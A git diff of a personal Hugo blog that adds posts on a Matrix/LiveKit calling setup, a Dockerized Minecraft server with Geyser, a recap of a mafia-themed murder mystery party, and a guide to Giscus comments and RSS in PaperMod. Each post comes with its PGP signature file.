**Nginx `http2` directive:** Old Nginx may not support the `http2` directive on `listen`. Use `listen 443 ssl;` (and add `http2` if your version supports it). +- **Certificate name mismatch:** Make sure `rtc.example.com`’s vhost uses a certificate **for that exact hostname** (initially I had the `matrix.*` cert on `rtc.*` and curl complained). +- **Postgres collation:** Either initialize the cluster with `C` or use `allow_unsafe_locale: true` in Synapse DB config to get running quickly. +- **CORS duplication on `/sfu/get`:** Only ONE `Access-Control-Allow-Origin` header. If the upstream adds it too, use `proxy_hide_header Access-Control-Allow-Origin;` on the Nginx location. +- **Cloudflare:** Use **DNS-only** for `rtc.*`. Proxies can interfere with WS and UDP paths. +- **Firewall:** Open the LiveKit UDP range and TURN ports on both v4 and v6. + +--- + +## Final checklist (print me) + +- [ ] `https://matrix.example.com/.well-known/matrix/client` returns **both** `m.homeserver.base_url` and `org.matrix.msc4143.rtc_foci` pointing to `https://rtc.example.com`. +- [ ] `/_matrix/client/versions` shows `"org.matrix.msc4140": true`. +- [ ] `/sfu/get` **preflight** returns **one** `Access-Control-Allow-Origin` and **200/204**. +- [ ] Starting a call creates **HTTP 101** entries to `wss://rtc.example.com` in `rtc.access.log`. +- [ ] LiveKit logs show **participants joining** (not just CreateRoom). +- [ ] `/voip/turnServer` returns time-limited TURN credentials. +- [ ] Cloudflare set to **DNS-only** for `rtc.*`. UFW allows 7881/tcp and your LiveKit UDP range. + +--- + +### Credits & tooling + +- Matrix Synapse, coTURN, LiveKit, Element Call. +- `curl`, `jq`, `docker compose logs`, Nginx access logs. These are your best friends. +- The debugging breakthrough was catching CORS errors in the browser console and looking for **HTTP 101** in Nginx logs. + +Happy calling! 🎉 + +--- + +{{< sigdl >}} diff --git a/public-clearnet/sources/posts/matrix_setup.md.asc b/public-clearnet/sources/posts/matrix_setup.md.asc new file mode 100644 index 0000000..28056d5 --- /dev/null +++ b/public-clearnet/sources/posts/matrix_setup.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM +jSpglxAArFNgxheR8m2r6QvtoEuHJwI51WQteu+0un0FiIfHKtFPcXd2HiVqzODu +YZvIGCAecMURQMRvrgB8cO3ebY8Yi9EECnC1sHsluE05GOuro5Htja7TbsGxwTc3 +PIe+zju7lIhTHonqLogUyyunhWxOfg1RCaSjp3n6k/r2iEamgKu6Cihrv54wstGa +SVJbwubie1D9TPcXU3ynC+ynNBcmVevFl7g/X7Ie8Pw0SP1dJF+we5iVqUrZgPO2 +AudHlWRm13j7Xifv/JxqymkZV1XiShIY8Mb0Ju8m5+HjkoIaZDtSfFyt+AwPdHDQ +m3sMXA7yZUvy+pXtziwrOnHFAez22goAr9Ar9KcwGQgRvyxKuuKIuTq+yxtCuXBF +fPWo5pL0rMtIfwRyaiiX9bwV+WbBXNhghTPnaxuQ3CWkLdiwaycI7xPDAg8FzFAR +7yoN0vqhKSvZlAL1OQS+4yRcXnguq7UY9UF+drG0f0QpC3aht1QgrJ04gvDp2BOk +ymmlxCxUWQrFSqDThjv7WFCclamKTimCODKWvIG6sjQcJuLCg9CXRl+ZMvwobQqH +Tv8cm8PMimqJppUodB3Ig5zP3ZkVcK8uFm5XqoUnasqDVLLJaRcCu+Qt4h9gZ2w6 +Q3Q6K/zPZcKEIrwJfczWotSgG0g8dnuMUUYALWTbRrGjN0mgCss= +=yHZZ +-----END PGP SIGNATURE----- diff --git a/public-clearnet/sources/posts/minecraft_server.md b/public-clearnet/sources/posts/minecraft_server.md new file mode 100644 index 0000000..8a70cd5 --- /dev/null +++ b/public-clearnet/sources/posts/minecraft_server.md @@ -0,0 +1,200 @@ +--- +title: "Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases" +date: 2025-09-29T09:06:29Z +draft: false +tags: ["minecraft", "docker", "paper", "papermod", "geyser", "linux", "lvm"] +categories: ["Homelab", "Games"] +toc: true +summary: "How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release." +--- + +## Why +I’ve been running a Java Minecraft world (with Bedrock players via **Geyser**) in `tmux`. I moved it to Docker for easier updates, backups, and restarts. Along the way I hit: + +- `failed to register layer: ... no space left on device` +- Client saying: **“Outdated client, please use 1.21.9 Pre-Release 2”** +- Wanting config in a neat `.env` and **no whitelist** + +Here’s exactly what I did. + +--- + +## Folder layout +```bash +~/minecraft/ +├─ docker-compose.yml +├─ .env +└─ plugins/ +``` + +--- + +## `.env` (secrets & knobs) +Use the **latest stable** (not snapshots/pre-releases) by setting `VERSION=LATEST`. + +```env +# Minecraft server configuration +EULA=TRUE +TYPE=PAPER +VERSION=LATEST +MEMORY=4G +USE_AIKAR_FLAGS=true + +# RCON (remote console) +ENABLE_RCON=true +RCON_PASSWORD=superSecretPassword123 +``` + +> I don’t use a whitelist, so no `WHITELIST`/`ENFORCE_WHITELIST` variables. + +--- + +## `docker-compose.yml` +```yaml +services: + mc: + image: itzg/minecraft-server:latest + container_name: mc + restart: unless-stopped + ports: + - "25565:25565" # Java + - "19132:19132/udp" # Bedrock via Geyser plugin + env_file: + - .env + volumes: + - mc-data:/data + - ./plugins:/plugins:ro +volumes: + mc-data: {} +``` + +> The `version:` key in Compose is obsolete now, so I dropped it. + +--- + +## Add Geyser (and optional Floodgate) as plugins +```bash +mkdir -p ~/minecraft/plugins +cd ~/minecraft/plugins + +# Geyser (Spigot/Paper) +wget https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot -O Geyser-Spigot.jar + +# Floodgate (optional: Bedrock accounts without Java linking) +wget https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot -O Floodgate-Spigot.jar +``` + +Start it up: +```bash +docker compose up -d +``` + +On first run, Geyser writes its config to `/data/plugins/Geyser-Spigot/`. Open UDP **19132** on your firewall. + +--- + +## Hit a wall: `/var` ran out of space +Docker stores layers at `/var/lib/docker` by default. My `/var` LV was tiny: + +``` +/dev/mapper/ubuntu--vg-var 3.9G 3.4G 333M 92% /var +``` + +### Quick cleanup +```bash +docker system df +docker system prune -f +docker builder prune -af +sudo apt-get clean +sudo journalctl --vacuum-size=100M +``` + +If that’s not enough, you have two good options: + +### Option A — Move Docker’s data off `/var` +```bash +sudo systemctl stop docker +sudo mkdir -p /home/docker +sudo rsync -aHAX --info=progress2 /var/lib/docker/ /home/docker/ +echo '{ "data-root": "/home/docker" }' | sudo tee /etc/docker/daemon.json +sudo systemctl start docker +docker info | grep "Docker Root Dir" +``` +If all looks good, free the old space: +```bash +sudo rm -rf /var/lib/docker/* +``` + +### Option B — Grow `/var` (LVM) +Check free space in the VG: +```bash +sudo vgdisplay # look for "Free PE / Size" +``` +If available, extend `/var` by +5G: +```bash +sudo lvextend -L +5G /dev/mapper/ubuntu--vg-var +sudo resize2fs /dev/mapper/ubuntu--vg-var +``` + +--- + +## The version mismatch: pre-release vs stable +My logs showed: +``` +Starting minecraft server version 1.21.9 Pre-Release 2 +``` +That happens if the server pulls a pre-release build (or if `VERSION=LATEST`). Fix: + +1. Ensure `.env` has: + ```env + VERSION=LATEST_RELEASE + ``` +2. Recreate: + ```bash + docker compose down + docker compose pull + docker compose up -d + ``` +3. Verify: + ```bash + docker logs mc | grep "Starting minecraft server version" + # -> Starting minecraft server version 1.21.1 (example) + ``` + +> Tip: If you **want to pin** and avoid auto-updates entirely, set `VERSION=1.21.1` (or whatever stable you’ve validated). + +--- + +## No whitelist +Because I don’t set `WHITELIST`/`ENFORCE_WHITELIST`, anyone can join (subject to online-mode, bans, and Geyser/Floodgate auth settings). Manage ops/permissions via: +```bash +docker exec -it mc rcon-cli "op YourJavaIGN" +``` +(or edit `/data/ops.json`). + +--- + +## Backup & updates +- World/data live under the `mc-data` volume → back up `/data` regularly. +- Update cleanly: + ```bash + docker compose pull && docker compose up -d + ``` +- Watch space: + ```bash + watch -n5 'df -h /var; docker system df' + ``` + +--- + +## TL;DR +- Put **Geyser/Floodgate** jars in `./plugins` and expose **19132/udp**. +- Keep configs in `.env`. +- Fix `/var` space by pruning, **moving Docker’s data-root**, or **extending `/var`** via LVM. +- Verify version in logs after each change. + +Happy block-breaking! 🧱🚀 + +--- + +{{< sigdl >}} diff --git a/public-clearnet/sources/posts/minecraft_server.md.asc b/public-clearnet/sources/posts/minecraft_server.md.asc new file mode 100644 index 0000000..f0e872d --- /dev/null +++ b/public-clearnet/sources/posts/minecraft_server.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM +jSrrmBAAuVoSvB3tRIzD+N0F5OwfYvG3V3z6ok58df7p4js91/a9lcki2ywxw/Dy +Q3aeieiGITkd/zMNjTydy4XjkScoRFFlL5GVZ2WNjO8CvjpEv3nK7EX6jRt5leMV +0D0DESMnOQzgo4a1CuNHrYPHKPaMVpJ/1aKOUZwyPC9j8/70irAJpoA2jdBgSsxw +7p/hYijX0vGJ8+WSFj6707dh6hNRk5ZaNc0cElpkE4kXA31H0h/fRwPPteT4wjGA +JWQAyEUu3Vx/U0BnN6R9Lne+5cqxO0Kh8VrcBpyH2VpqH3fDk1fIHk1RdhDxwKD7 +OzvAT5XXRS5Q6Udc7Nsa9T/OYG+elcgMAMFXosItqTRJNG72OyWloLVc/OrJ5Qsc +s81FbfcHp1dgjJ2gtO2Eyb/wb1WkyvrQegNnjuJzMt3awBN1BWex5Nn4Bz+UbLDz +g6dGQxcpfDJ6F9Tjz/ru7RZ9Yic/bo8vVvKaa6FhSAwF4SluKWS3cf3meE4GQD5r +NrClzg0Vujk/3zP/6yhCL7I0SwQ+NeW2HoUHeoawApBmFt/q5du4ftIx2iMMeWoH +F91H35CchRtKArxjpwFNt/J1QAPvKx9UvzA2uAl+LNOWXf/gomXH6Tqm9vnWr/aX +sczdH6N2E0+7KDO7NwjBJWa/QwdXKUlOq5fFgAop22v3vWOml1M= +=NmxL +-----END PGP SIGNATURE----- diff --git a/public-clearnet/sources/posts/murder_mystery_night.md b/public-clearnet/sources/posts/murder_mystery_night.md new file mode 100644 index 0000000..0d99433 --- /dev/null +++ b/public-clearnet/sources/posts/murder_mystery_night.md @@ -0,0 +1,224 @@ + +--- +title: "La Plaza: The Falcones & the Morettis" +date: 2025-10-25T07:52:53Z +draft: false +tags: ["crime fiction","mafia","family tree","noir"] +showToc: true +summary: "Two dynasties in Sicily collide: a funeral party for a dead Don, a gilded heir with a fatal flaw, and a whisper-soft romance that could start a war." +--- + +Last night I attended a ZiS event called "the Murder Mystery night". + +The story was about two families. The Falcones, and the Moretti family. + +> Gold-embossed invitations arrive at **La Plaza** for a celebration of life honoring **Salvatore Falcone**, recently slain Don. All members of the Moretti family are invited to the party! + +## Family Trees + +{{< mermaid >}} +%%{init: {"flowchart":{"htmlLabels": true, "nodeSpacing": 30, "rankSpacing": 35}} }%% +flowchart TB +subgraph falcone["Falcone — current generation"] +direction TB +Salvatore["Salvatore Falcone
    dead boss"] +Serena["Serena
    widow (bosswife)"] +Salvatore -- Married --> Serena +%% row: siblings +subgraph falcone_row1[ ] +direction LR + Sophia["Sophia
    underboss"] + Massimo["Massimo
    lawyer"] + Fabiola["Fabiola
    financial
    advisor"] + Aurora["Aurora
    associate"] +end + +%% row: next generation +subgraph falcone_row2[ ] +direction LR + Lorenzo["Lorenzo
    fixer
    (Sophia's son)"] + Michelangelo["Michelangelo
    enforcer
    (Massimo's son)"] + Antonio["Antonio
    hitman"] +end + +Sophia --> Lorenzo +Massimo --> Michelangelo +Fabiola -- Married --> Antonio +end +{{< /mermaid >}} + +{{< mermaid >}} +%%{init: {"flowchart":{"htmlLabels": true, "nodeSpacing": 30, "rankSpacing": 35}} }%% +flowchart TB +subgraph moretti["Moretti family"] +direction TB +Benito["Benito
    boss"] +Nicoletta["Nicoletta
    bosswife"] +Claudia["Claudia
    ex wife"] +Benito -- Married --> Nicoletta +Benito -- Divorced --> Claudia + +%% row: children +subgraph moretti_row1[ ] +direction LR + Sergio["Sergio
    underboss"] + Lucia["Lucia
    associate"] +end +Benito -->|son| Sergio +Nicoletta -->|son| Sergio +Benito -->|daughter| Lucia +Claudia -->|daughter| Lucia + +%% row: Lucia's crew +subgraph moretti_row2[ ] +direction LR + Violetta["Violetta
    fixer"] + Santo["Santo
    enforcer"] +end +Lucia --> Violetta +Lucia --> Santo +end + +Enrico["Enrico
    finantial advisor"] +Benito ---|younger brother| Enrico +{{< /mermaid >}} + +--- + +## Who’s Who (quick dossiers) + +### Falcone notes +- **Salvatore Falcone (†)** — Former Don, killed under mysterious circumstances. +- **Serena** — Salvatore’s widow; trades in charm and influence, now vying for power—especially against Sophia. +- **Sophia** — Eldest sibling, longtime underboss; disciplined, feared; sees herself as rightful heir after Salvatore. +- **Massimo** — Younger brother; justice-minded, hardened by his wife’s death. +- **Aurora** — Youngest; underestimated as naive or harmless, but observant. +- **Fabiola** — Ambitious financial brain; growth-focused, clashes with tradition. +- **Antonio** — Fabiola’s husband; trusted hitman with careless drinking and looser lips than he should have. +- **Michelangelo** — Massimo’s son; enforcer torn by guilt over his mother’s murder. +- **Lorenzo** — Sophia’s son; quiet fixer who tidies messes, unflappable. + +### Moretti notes +- **Benito** — Calculating, paranoid Boss; obsessed with securing the bloodline through his son. +- **Nicoletta** — Benito’s wife; once a prostitute, now regal and cunning. +- **Sergio** — Only son; appointed underboss young. All glitter, charm…and a crack in the armor: the **game**. +- **Enrico** — Benito’s younger brother; accountant; clever, restless for influence. +- **Violetta** — The family’s ice-cold fixer; keeps things “clean,” whatever it costs. +- **Claudia** — Benito’s ex-wife; elegant, humiliated but dangerous in refined ways. +- **Lucia** — Daughter of Benito and Claudia; proud, protective, hungry for attention from the core family. +- **Santo** — Lucia’s son; bold, admired and doubted in equal measure. + +Aside from these characters, there were two additional characters. +Falcon's priest, who had confessions from every Falcon family member, and a prostitute who had slept with many of the characters in the story, and had dirt on them! + +> World sketch: the **Falcones** make problems *disappear* and launder fortunes behind bright lights and polished floors; the **Morettis** flaunt neon glamour while doing the real work in shadows. + +--- +After the introduction, I assumed the role of Sergio, heir to Benito and his apparent son, as the story unfolded. +All I knew was that on the night of the murder, I was not in Falcon's house, and that I was out in a casino with Aurora. + +I didn't know how little I know about the story until the middle of the game, where everyone was starting to spill the beans! It was insane how clueless I was. LMAO + +So, without further of do, let's dive riiiiiiiiiight in!!!! Weeeee haaaaa xD + +### Act I, the dinner +We arrived at the family party, dressed in colorful dresses, as it was supposed to be the celebration of life. +Or that's what was written in our invitations. + +The Falcons were in black, grieving a lost one, their beloved boss, Salvatore Falcone. + +The clash was instant as they though we were disrespectful to wear such cloths. +As Sophia, the organizer of the dinner, started to give us scary looks, Violetta came at her with no chill. + +She said, "I know what the purpose of this dinner is, you are accusing us of murder! But shall not heed. This is an insider job, a betrayal, and we will uncover it." + +The Falcones were not happy with any of it. Massimo, Michelangelo, Lorenzo, Antonio, and Serena went back at her for how dares she! +They said Why would they take it so far to accuse them of accusing us of murder. + +Violetta, our family’s ice-cold fixer, replied, "it is clear from our invitations, they are all crossed out on purpose. You want us to look bad, or someone from within is doing it with that intention". + +They went quiet. They were just as confused. Sophia invited us to sit down and eat in calm. We acknowledged and grabbed bites to eat. When all were happy and satisfied, we geared up for round two of discussions. + +While the game continued, the dinner also stood out. Every dish was delicious, beautifully prepared, and truly made the evening special. I want to give props to the organizer (won't name here out of privacy). Thank you again for such an amazing event! + +### Act II, the invitations + +Sophia looked at us with her death smile and said, "I was involved with 9 invitations, the ones to our family, and nothing more." + +The room went into a deep silence. What did she mean? Who made Moretti's invitations? Why were they crossed out? Why did it say it was a celebration of life, while it was a gathering of grief? Why did it ask Moretti's to wear colorful dresses, and not black like Falcones? Who was plotting this? Was this going to end in a bloodbath? Or will the families work it out? + +The occasion was grim, but the outcome was immense. Either the two sworn families rip this thin bond once and for all, or they will come out as stronger allies, ruling the lands under their influence with no power to stop them. + +Violetta then looked at Sophia with her dead eyes. Both families knew the fire was going to just grow stronger... + +### Act III, the evidence +Violetta asked Sophia for pictures of the crime scene. Sophia signaled Michelangelo to deliver, and he did. + +There were four pictures and a dissection report. Two of the pictures were from the bullet marks that had exited Salvatore's body from the other side. The third picture was of Salvatore's dead body, fallen on the ground in front of the set of stairs. The report stated two shots were fired, one to the head and one to the chest. Both exited the body and were fatal. The body was pushed down the stairs. According to the last picture and the dissection report, the two bullets had different calibers: a 9mm Luger and .243 WIN. + +Massimo got up from his sit, pointing to an article about her wife's death. He stated how this was similar to her death, and how she died "The Moretti way". "She was shot and pushed down the stairs. What other evidence do you need?" said Massimo. + +Benito replied calmly, "But Salvatore didn't die the Moretti way. We use one bullet, and push the victim down afterwards. We never miss.". "Salvatore was facing away from the stairs, according to the image, we never execute like that. We are not cowards.", said Sergio with a collected tone. + +Massimo wasn't convinced, but he knew they were right. He just could not forgive her wife's death. + +The room went into silence again. + +Violetta presented additional evidence: a picture of Salvatore with a police officer at a bar, alongside bank statements from Fabiola's accounting showing F&E laundering money for Salvatore. No one knew what F&E stood for, but Enrico and Fabiola were suspected. They remained silent, drawing suspicion, and eventually explained that the families were linked at Enrico and Salvatore's level, using the Falcones' casinos to clean cocaine profits, benefitting both sides. It was unclear if Benito knew or simply would not discuss it. + +In the picture, it can be seen that a note was being passed to Salvatore. It was hard to read, but it said: "Be careful". + +Serena pointed to Antonio, and he took out a piece of paper of the family's weekly report. It was stated that Sergio and Aurora had been seen together multiple times. But why? Sergio does live a lavish lifestyle. He regularly goes to casinos, sometimes suspiciously wins large amounts, and sometimes loses a fortune. When confronted about this, he just said he enjoyed the company. But what business did the heir to Moretti's have with the youngest of the Falcones? + +Lorenzo and Michelangelo pushed this matter further. They claimed Michelangelo was tasked to get dirt on them, and to envolve Antonio if needed. In the back of a picture taken of the two of them (Sergio and Aurora) in the casino, it was written that this is abnormal behaviour, and that they should be careful with Sergio. Antonio's report also stated the same, that they should be mindful of Sergio. Sergio only mentioned that he was not at Falcones' that night, and that he was in a casino with Aurora; no further explanation was provided by him. + +Aurora didn't budge either. + +Sergio changed the subject swiftly. He pointed to the gun used for the murder and said, "Doesn't that look like Santo's gun? Where were you that night, Santos?". "I was at home, with my mother", Santos replied, and Lucia nodded. + +It felt like this conversation was going nowhere. Sophia asked the priest and the prostitute to speak up. + +### Act IV, the confessions + +The priest came into the room. He mentioned that Aurora had confessed to being in love with Serio. That Antonio had wittnessed he is cheating on Fabiola with Lorenzo, that Michelangelo was mad about finding out Fabiola was working with Morettis, and that Salvatore had know this for a long time. He mentioned how Salvatore had changed his will before his death from giving everything to his heir, Sophia, to whoever uncovers how he dies. He mentioned how Serena had heard "there was another heir to Salvatore's fortune", that she was paranoid now, that all the time he asked for an heir, he wanted a son, not a child. + +The prostitute continued, "Benito ordered to kill her mistress before the child was born, but he didn't manage". She said how Sergio had told him after getting drunk that he did not like women, but used them to his advantage. + +Claudia wasn't feeling well. She loved her daughter Lucia, but was she the mistress? Why did Benito leave her for Nicoletta? A former prostitute. Did he order them to kill her? + +The prostitute then continued. "Sergio is not Benito's son". Violetta showed a piece of paper indicating that DNA results show he is indeed not Benito's son. Benito smiled. "Sergio is my son, even if not my blood. He slept with Aurora, this prostitute, Fabiola, and Sophia for our cause." + +Sergio did not smile, or any changes in his face. He was ice-cold. + +It was still not clear who plotted to kill Salvatore. Everyone was confused. + +It was time for deduction. + +### Act V, the killer(s) + +After a long discussion between all the family members, these were the conclusions. + +It was evident that Serena was in her part of the mansion, far from Falcone. A different house. Antonio was chilling at his house with Fabiola. Massimo claimed he was at his office, working on cleaning family from some cases. Aurora was with Sergio in a casino. Benito, Lucia, Santo, Claudia, Enrico, and Nicoletta were at Moretti's. That left Michelangelo, Lorenzo, and Violetta. No one knew what they were doing or where they were. + +Initially, Michelangelo and Lorenzo claimed they were following Sergio and Aurora, but the evidence showed they were there only for a fraction of the night. + +If everyone was telling the truth, one or two of Michelangelo, Lorenzo, and Violetta were the killers. From the confessions the priest provided, Michelangelo had the most valid motivation for this killing. He was not happy about the family's side business with the killer of her mother. He was not happy that Salvatore did not care. But there were two different guns used. Did Lorenzo really help take out the head of the family? But why? + +Lorenzo had affairs with Antonio, and he knew Fabiola was working with Enrico to launder money. It was the perfect plan. The two of them would kill Salvatore, make it look like Fabiola and Enrico killed the head of the family by making it look like "The Moretti" way. Then Lorenzo gets to Antonio, and +Michelangelo would take his revenge. Sergio would also not get his hand on Salvatore's money, as with all ties broken, no one would suspect he was Salvatore's son. Nicoletta would also not talk, as she would lose everything if she confessed. + +Although all evidence was against Lorenzo and Michelangelo, they did not confess. Violetta had to break it to them again. She said she was at Falcones on the night of the murder to get dirt on them. She said she was hiding in a closet, and that she saw everything. She said that she even has pictures and soundproof of all that happened. When asked why she didn't mention any of this earlier, she said she wanted to see how far they would go with this, and how much the lie, and what they had plotted. She also wanted to gather more information from whatever people said during these discussions. What a clever fixer! A true piece of treasure from Moretti's side. + +It was over for Lorenzo and Michelangelo. Lorenzo burst into tears after all of this. He said that Sophia was not protecting the family as the underboss and heir. How could she lose her title if the fact about Sergio were known someday? + +Sophia was just disappointed with all of this. She didn't budge. + + +### The epilogue +Most people weren't sharing what they knew not to become sus! I didn't talk to everyone, but for example, the person who played Santo's role said his card stated he was cleaning his 9mm pistol on the night of the murder. He never mentioned this. Though this would through suspicion on him, when Lucia and other members vouched that he was at home with them, we would not have been misled by some random fact that his pistol was missing, or that one of the murder weapons looked like his. I think there was a lot of information that people either mispresented or decided not to. This ruined the flow of the story. I'm not sure if Violetta had to say she was hiding in the closet or not, but it was really late, and I think we were not sure who the killers really were, since people weren't presenting everything they knew. + +Overall, this was the most fun event I have ever attended from ZiS. Everything was perfect, and the organizer was amazing. I would say the person who organized this event is the best of the tutors! They had also organized a game night where we played many fun games online, which was my second most favorite event! Thank you so incredibly much once again for the event! + +--- + +{{< sigdl >}} diff --git a/public-clearnet/sources/posts/murder_mystery_night.md.asc b/public-clearnet/sources/posts/murder_mystery_night.md.asc new file mode 100644 index 0000000..c94a370 --- /dev/null +++ b/public-clearnet/sources/posts/murder_mystery_night.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM +jSp8sg/9HQfL6MJNbK9138ynptOPkYSjDMyEhaI9GfmV2MRlSwkipwWO2GdLstm+ +bc8KNd1E5TQknN21P24dMqkQ2iDm6s0bDsVQ4X/iZfTwBBoGOD5Z2WvqBUqZo04d +ddb4Vk3fqB8hRpcDvqLM3iawn4a5vxGR3tvN16XrGZuyedHFi4YELLIHB0ks3b2p +zr6zHOniJ1aCSju8WS28cUMjNz+xCIBKLaHhiZjJ4yQaQVG456VIHCfYYNLo7gwj +3lGViTWg273r6YtxIOQBITPXp1Xib8AFubO7Cs1mTo9sEZcWdWFWslAmTLRiHt0x +4E58Ob8u/DDfmJrJlzNT/XABcqmLPrs/vAtT8jZNAKRyvtlCN+q2hB6Bu1tndVPH +qIrSt7ykMhhDYz6A6MzXkwIKG+lC6sygqISnL8NLnzOJVGy5Jl1Ig82g8DJI7qDJ +nh4a+E1ts4Iec2ASQtsZFfSlEcoKjXYbZ9npr8jg2temUxIMYq94L/Zeh0o+Ymxp +Qy7GC0YNddKgcvsPX/GwealKrCjRNIWuVogF/q86ASKAyZxDtWsAryOTufu7eV1T +QC68HqpwR8bvVPbmIk7l4vQSOXNjZuqaMOOkpFvMkwyOoAyRpmI9ksj0v5GllpIC +AidP1vQUUJUGtXbiW0vMufUc/fyulH1o0LCfwTLJoTyiBEwjNsw= +=3iUy +-----END PGP SIGNATURE----- diff --git a/public-clearnet/sources/posts/new_features.md b/public-clearnet/sources/posts/new_features.md new file mode 100644 index 0000000..1ead872 --- /dev/null +++ b/public-clearnet/sources/posts/new_features.md @@ -0,0 +1,759 @@ ++++ +title = "New features for my blog! Adding Comments + RSS to Hugo PaperMod (Giscus and Isso FTW)" +description = "A friendly, copy-pasteable guide to wiring up Giscus comments (GitHub Discussions) and Isso comments + RSS in Hugo PaperMod." +date = 2025-10-23T19:31:12+02:00 +draft = false +slug = "comments-rss-papermod" +ShowToc = true +TocOpen = true +tags = ["hugo", "papermod", "giscus", "rss", "comments"] +categories = ["blog", "meta"] ++++ + +> Short story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site. +> Longer story: I spent 30 minutes poking around, and now you don’t have to. Here’s exactly what I did. + +--- + +I've been wanting to add comment section to my blog for a while. +There are a few problems. +- I don't want to get attacked by bots or random people for no reason. +- I don't want to allow weird things to happen. +- I don't want to have a database for it. + +So... I decided to take a path which is not necesserially the best. +It requires a third party to act on your behalf, but it is not as scary as it sounds. +According to Github: + +> **What the app can do** +> The app’s rights are limited to the repo(s) where the site owner installed it and to the permissions it requested (basically: Discussions read/write + metadata). It can’t touch a commenter’s private repos or do things outside those scopes. GitHub’s docs also say a GitHub App can only do what both you and the app have permission to do. + +> **What “Act on your behalf” means** +> That scary wording is GitHub’s. The giscus maintainer explains it means “post comments under your username,” and shows that the app requests Discussions read/write + metadata when installed. + +> **Do commenters have alternatives?** +> Yes. Anyone can open the linked GitHub Discussion and comment directly on GitHub, bypassing the app’s OAuth popup. The README explicitly mentions this. + +> **Privacy & storage** +> No tracking/ads; comments live in GitHub Discussions. giscus is open-source and has a published privacy policy. You can also revoke the app any time in your GitHub settings. + +With the notice out of the way let's dive right in! + +--- + +## Why I chose Giscus (instead of Disqus) + +- **No ads or trackers** (my page weight thanks me). +- **Uses GitHub Discussions** (portable, transparent, easy to search). +- **Readers log in with GitHub** (no mystery auth popups). +- In theory you can directly go to the repo's discussion section and comment there! + +--- + +## What you need (for your site, not per user) + +- A Hugo site using **PaperMod** ✅ +- A GitHub account ✅ +- A **public** repository for the discussion threads (I called mine `blog-comments`) with **Discussions** enabled ✅ +- Giscus app installed on that repo ✅ + +If you like to keep your main site repo clean, use a separate one, e.g. `github-username/blog-comments`. + +--- + +## 1) Turn on comments with Giscus + +PaperMod renders a `comments.html` partial when `params.comments = true`. +So we enable it in config and create the partial. + +### 1.1 Enable comments globally + +`hugo.toml` (snippet) +```toml +[params] + comments = true +``` + +You can still opt out per post with `comments = false` in front matter. + +### 1.2 Create the comments partial + +Create this file **in your site** (not inside the theme): +``` +layouts/partials/comments.html +``` + +Paste the Giscus embed (swap the placeholders with yours from giscus.app): + +```html +
    + + +
    +``` + +**Notes** +- You’ll get `repo-id` and `category-id` from **giscus.app** after picking your repo + category. +- `data-mapping="pathname"` works great for static sites. +- Prefer a **public** repo so visitors can read discussions without friction. +- Want a different language? Change `data-lang` (e.g., `de`, `fr`). + +--- + +## 2) Enable RSS (home + sections) + +Hugo already knows how to generate feeds; we just tell it where. + +`hugo.toml` +```toml +baseURL = "https://example.com/" # set your production URL + +[outputs] + home = ["HTML", "RSS", "JSON"] # JSON is optional (e.g., for on-site search) + section = ["HTML", "RSS"] + taxonomy = ["HTML", "RSS"] + term = ["HTML", "RSS"] + +[services.rss] + limit = -1 # -1 = no cap; or set e.g. 20 +``` + +**Feed URLs** +- Home feed: `/index.xml` → `https://example.com/index.xml` +- Section feeds: `/posts/index.xml`, `/notes/index.xml`, etc. (folders are lowercase) + +> If you’re using a `.onion` address or staging domain, just set that in `baseURL`. +> Locally, Hugo serves feeds at `http://localhost:1313/index.xml`. + +--- + +## 3) Show an RSS button on the home page + +PaperMod shows a nice RSS icon on **section/taxonomy** lists by default (when enabled), but not on the home page. Two options: + +### Option A — Use the home “social icons” row +This appears if you enable **Home-Info** or **Profile** mode: + +```toml +[params.homeInfoParams] + Title = "Hello, internet!" + Content = "Notes, experiments, and occasional rabbit holes." + +[[params.socialIcons]] + name = "rss" # lowercase matters + url = "/index.xml" +``` + +### Option B — Add an icon in the footer (theme-safe) +Create: +``` +layouts/partials/extend_footer.html +``` + +Paste: +```html + + {{ partial "svg.html" (dict "name" "rss") }} + RSS + +``` + +Make it a sensible size: + +Create: +``` +assets/css/extended/rss.css +``` + +Paste: +```css +/* Small & aligned RSS icon in the footer */ +.rss-link { display: inline-flex; align-items: center; gap: .35rem; } +.rss-link svg { margin-left: 10px; width: 18px; height: 18px; } /* a bit of left margin for good measure!*/ +.rss-link span { font-size: .95rem; } +``` + +PaperMod auto-bundles anything under `assets/css/extended/`, so no extra imports needed. + +--- + +## 4) Verify everything + +Build or run dev: +```bash +hugo # outputs to ./public +# or +hugo server # serves at http://localhost:1313 +``` + +Check feeds: +```bash +# Home feed: +curl -s http://localhost:1313/index.xml | head + +# A section feed (adjust path to your section name): +curl -s http://localhost:1313/posts/index.xml | head +``` + +Check comments: +1. Open any post locally. +2. Scroll to the bottom — Giscus should appear. +3. Try a reaction or comment (you’ll be prompted to sign in with GitHub). + +--- + +## 5) Per-post controls (handy later) + +Turn comments off for a single post: +```toml +# in that post’s front matter +comments = false +``` + +Full content in RSS (global): +```toml +[params] + ShowFullTextinRSS = true +``` + +Show RSS buttons on section/taxonomy lists: +```toml +[params] + ShowRssButtonInSectionTermList = true +``` + +--- + +## 6) Troubleshooting (aka “what I bumped into”) + +- **Home page has no RSS icon** + That’s expected; either enable Home-Info/Profile mode + `socialIcons`, or use the footer partial. + +- **Section feed 404** + Folder names are lowercase (`content/posts/`, not `content/Posts/`). + The URL mirrors that: `/posts/index.xml`. + +- **Giscus doesn’t create a discussion** + Double-check the four attributes: `data-repo`, `data-repo-id`, `data-category`, `data-category-id`. + Make sure Discussions is enabled and the Giscus app is installed for the repo. + +- **Icon is comically large** + Keep the CSS above; 16–20px usually looks right. + +--- + +## 7) Bonus: fast setup via 